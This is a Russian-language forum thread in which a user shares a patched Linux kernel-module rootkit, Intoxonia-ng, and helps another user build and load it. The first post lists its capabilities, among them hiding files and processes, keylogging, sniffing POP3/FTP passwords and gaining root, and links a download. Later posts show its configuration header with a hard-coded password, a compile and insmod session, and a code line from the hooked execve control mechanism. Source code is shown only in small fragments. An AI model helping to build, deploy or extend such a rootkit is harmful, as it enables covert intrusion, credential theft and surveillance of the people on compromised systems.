Старый 18.02.2012, 10:33   #1
yesday
 
Регистрация: 28.11.2011
Сообщений: 36
Репутация: 12
По умолчанию Intoxonia-ng v0.2.1 - LKM-руткит

Довольно старый LKM-руткит. Я его допилил для ядер 2.6.18 и теперь выкладываю сюда по просьбе UbuntuMagvegva. Сами авторы руткитом не занимается с 2006 года но будут очень рады, если их детищем будут пользоваться и развивать дальше.

Авторы:
> _4epen aka Самоуверенный Фанатик
> ShadOS

Возможности:
(*) скрытие файлов/каталогов
(*) скрытие процессов
(*) имитация полного удаления файлов
(*) перенаправление обращения к файлам
(*) перенаправление входа в директории
(*) запрет на обращение к файлам
(*) запрет на вход в каталог
(*) добавление фиктивной строки в файл
(*) скрытие строки из файла
(*) замена строк в файле при чтении
(*) защита файла от удаления
(*) сохранение файла при удалении
(*) защита процессов
(*) создание алиасов для команд
(*) перенаправление запуска бинарников
(*) запрет на запуск программ
(*) запись всех нажатых клавиш (кейлоггер)
(*) сниффер POP3/FTP паролей
(*) сохранение настроек в файл
(*) загрузка настроек из файла
(*) получение прав root
(*) смена uid/gid процесса
(*) защищенное удаление файлов
(*) настройка с помощью фиктивного бинарника
(*) защита всех настроек паролем
(*) сокрытие режима PROMISC

Поддерживаемые ядра:
> все ядра Linux <= 2.6.18

Тестировалось на:
> 2.6.18-274.el5
> 2.6.18-238.5.1.el5

Минусы (от автора):
В рутките отсутствует возможность скрытия вывода
статистики netstat. Это все реализуется скрытием отдельных строчек в файле /proc/net/udp и
/proc/net/tcp, так что за недостаток это считать, я думаю, не стоит Но минусы все же есть.
Во-первых, руткит по прежнему несовместим с 64-битной архитектурой. Во-вторых, несмотря
на возможность сохранения и загрузки всей системы настроек, она все равно хранится в
пространстве ядра - там, где память не своппится. Несмотря на то, что руткит поддерживает
большинство ядер ветки 2.6, алгоритм поиска таблицы системных вызовов запросто может не
заработать на новых ядрах. На нескольких ядрах возникает Oops после выгрузки модуля.
Это не критично, и происходит из-за перехвата системного вызова read(). Также неизвестно,
насколько хорошо модуль будет работать при использовании Иксов.


Минусы (от yesday):
Во время использования на 2.6.18 замечено, что модуль нещадно серит в логи audit (видно по dmesg, ну и на первой виртуальной консоли). Поправить это не пытался - может кто возьмётся.

Скачать с UbuntuOne
yesday вне форума   Ответить с цитированием
Старый 21.02.2012, 17:34   #2
UbuntuMagvegva
 
Регистрация: 16.02.2012
Сообщений: 3
Репутация: 0
Lightbulb Не работает "фиктивный бинарник"

Код HTML:
[root@home intoxonia]# cat ./option.h
/*
 *  Пользовательские(хакирские) настройки руткита IntoXonia
 *  Written by _4epen, 2006
 */

/**********************************************************************
# Copyright (C) 1996-2005 Free Software Foundation, Inc.
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111 USA.
***********************************************************************/

#define CONTROL  "/control"
#define PASSWORD "qwer"
#define MODNAME  "qwer"
//#define DEBUG 1
[root@home intoxonia]# make
make -C /lib/modules/2.6.18-274.el5/build SUBDIRS=/download/src/intoxonia
make[1]: Entering directory `/usr/src/kernels/2.6.18-274.el5-i686'
  LD      /download/src/intoxonia/built-in.o
  CC [M]  /download/src/intoxonia/checks.o
  CC [M]  /download/src/intoxonia/funces.o
/download/src/intoxonia/funces.c: In function ‘alloc_user’:
/download/src/intoxonia/funces.c:99: warning: ignoring return value of ‘copy_to_user’, declared with attribute warn_unused_result
/download/src/intoxonia/funces.c: In function ‘kernel_stat’:
/download/src/intoxonia/funces.c:159: warning: ignoring return value of ‘copy_from_user’, declared with attribute warn_unused_result
/download/src/intoxonia/funces.c: In function ‘kern_read’:
/download/src/intoxonia/funces.c:208: warning: ignoring return value of ‘copy_from_user’, declared with attribute warn_unused_result
  CC [M]  /download/src/intoxonia/execve.o
  CC [M]  /download/src/intoxonia/hfiles.o
/download/src/intoxonia/hfiles.c: In function ‘h_read’:
/download/src/intoxonia/hfiles.c:131: warning: ignoring return value of ‘copy_to_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c:152: warning: ignoring return value of ‘copy_from_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c:157: warning: ignoring return value of ‘copy_to_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c:163: warning: ignoring return value of ‘copy_to_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c:173: warning: ignoring return value of ‘copy_to_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c:186: warning: ignoring return value of ‘copy_from_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c:190: warning: ignoring return value of ‘copy_to_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c: In function ‘h_stat’:
/download/src/intoxonia/hfiles.c:281: warning: ignoring return value of ‘copy_from_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c:285: warning: ignoring return value of ‘copy_to_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c: In function ‘h_lstat’:
/download/src/intoxonia/hfiles.c:337: warning: ignoring return value of ‘copy_from_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c:341: warning: ignoring return value of ‘copy_to_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c: In function ‘h_unlink’:
/download/src/intoxonia/hfiles.c:382: warning: ignoring return value of ‘copy_from_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c: In function ‘h_getdents’:
/download/src/intoxonia/hfiles.c:656: warning: ignoring return value of ‘copy_from_user’, declared with attribute warn_unused_result
/download/src/intoxonia/hfiles.c:698: warning: ignoring return value of ‘copy_to_user’, declared with attribute warn_unused_result
  CC [M]  /download/src/intoxonia/netwrk.o
  CC [M]  /download/src/intoxonia/policy.o
  CC [M]  /download/src/intoxonia/proces.o
  CC [M]  /download/src/intoxonia/select.o
  CC [M]  /download/src/intoxonia/tofile.o
  CC [M]  /download/src/intoxonia/tricks.o
  CC [M]  /download/src/intoxonia/nethide.o
  CC [M]  /download/src/intoxonia/ixinit.o
/download/src/intoxonia/ixinit.c: In function ‘init_module’:
/download/src/intoxonia/ixinit.c:164: warning: passing argument 1 of ‘disable_page_protection’ from incompatible pointer type
/download/src/intoxonia/ixinit.c:165: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:166: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:167: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:168: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:169: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:170: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:171: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:172: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:173: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:174: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:175: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:176: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:177: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:178: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:179: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:180: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:181: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:182: warning: passing argument 1 of ‘enable_page_protection’ from incompatible pointer type
/download/src/intoxonia/ixinit.c: In function ‘cleanup_module’:
/download/src/intoxonia/ixinit.c:196: warning: passing argument 1 of ‘disable_page_protection’ from incompatible pointer type
/download/src/intoxonia/ixinit.c:197: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:198: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:199: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:200: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:201: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:202: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:203: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:204: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:205: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:206: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:207: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:208: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:209: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:210: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:211: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:212: warning: assignment makes integer from pointer without a cast
/download/src/intoxonia/ixinit.c:213: warning: passing argument 1 of ‘enable_page_protection’ from incompatible pointer type
  LD [M]  /download/src/intoxonia/itx.o
  Building modules, stage 2.
  MODPOST
  CC      /download/src/intoxonia/itx.mod.o
  LD [M]  /download/src/intoxonia/itx.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.18-274.el5-i686'
[root@home intoxonia]# make load
insmod itx.ko
[root@home intoxonia]# lsmod  | grep itx
itx                    26188  0
[root@home intoxonia]#
[root@home intoxonia]# uname  -a
Linux home  2.6.18-274.el5 #1 SMP Fri Jul 22 04:49:12 EDT 2011 i686 i686 i386 GNU/Linux
[root@home intoxonia]# /control auth qwer
bash: /control: No such file or directory
[root@home intoxonia]#
Что я делаю не так?

p.s. dmesg показывает вот что
itx: add_option: /control fs +hline /modules qwer 0

и ещё куча строк

audit(:0): major=252 name_count=0: freeing multiple contexts (1)
audit(:0): major=11 name_count=0: freeing multiple contexts (2)
UbuntuMagvegva вне форума   Ответить с цитированием
Старый 18.03.2012, 01:28   #3
yesday
 
Регистрация: 28.11.2011
Сообщений: 36
Репутация: 12
По умолчанию

Цитата:
[root@home intoxonia]# /control auth qwer
bash: /control: No such file or directory
Это ок - бинарник то фиктивный
Файл execve.c, Строка 53:
Код:
        if(!strcmp(filename, CONTROL)) { do_control(argv, envp); return -ENOENT; }
Т.е. если имя файла совпадает с константой CONTROL - зовём do_control() и вертаем системе ENOENT (это как раз и видно по "bash: /control: No such file or directory").

Цитата:
p.s. dmesg показывает вот что
itx: add_option: /control fs +hline /modules qwer 0
это my bad, не включил заголовочный файл в нужном месте, обновлённый архив скачай (ну или добавь в policy.c инклюд option.h).

Цитата:
и ещё куча строк

audit(:0): major=252 name_count=0: freeing multiple contexts (1)
audit(:0): major=11 name_count=0: freeing multiple contexts (2)
см. первый пост, в самом конце.
yesday вне форума   Ответить с цитированием
Ответ

Метки
linux, lkm, руткит

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot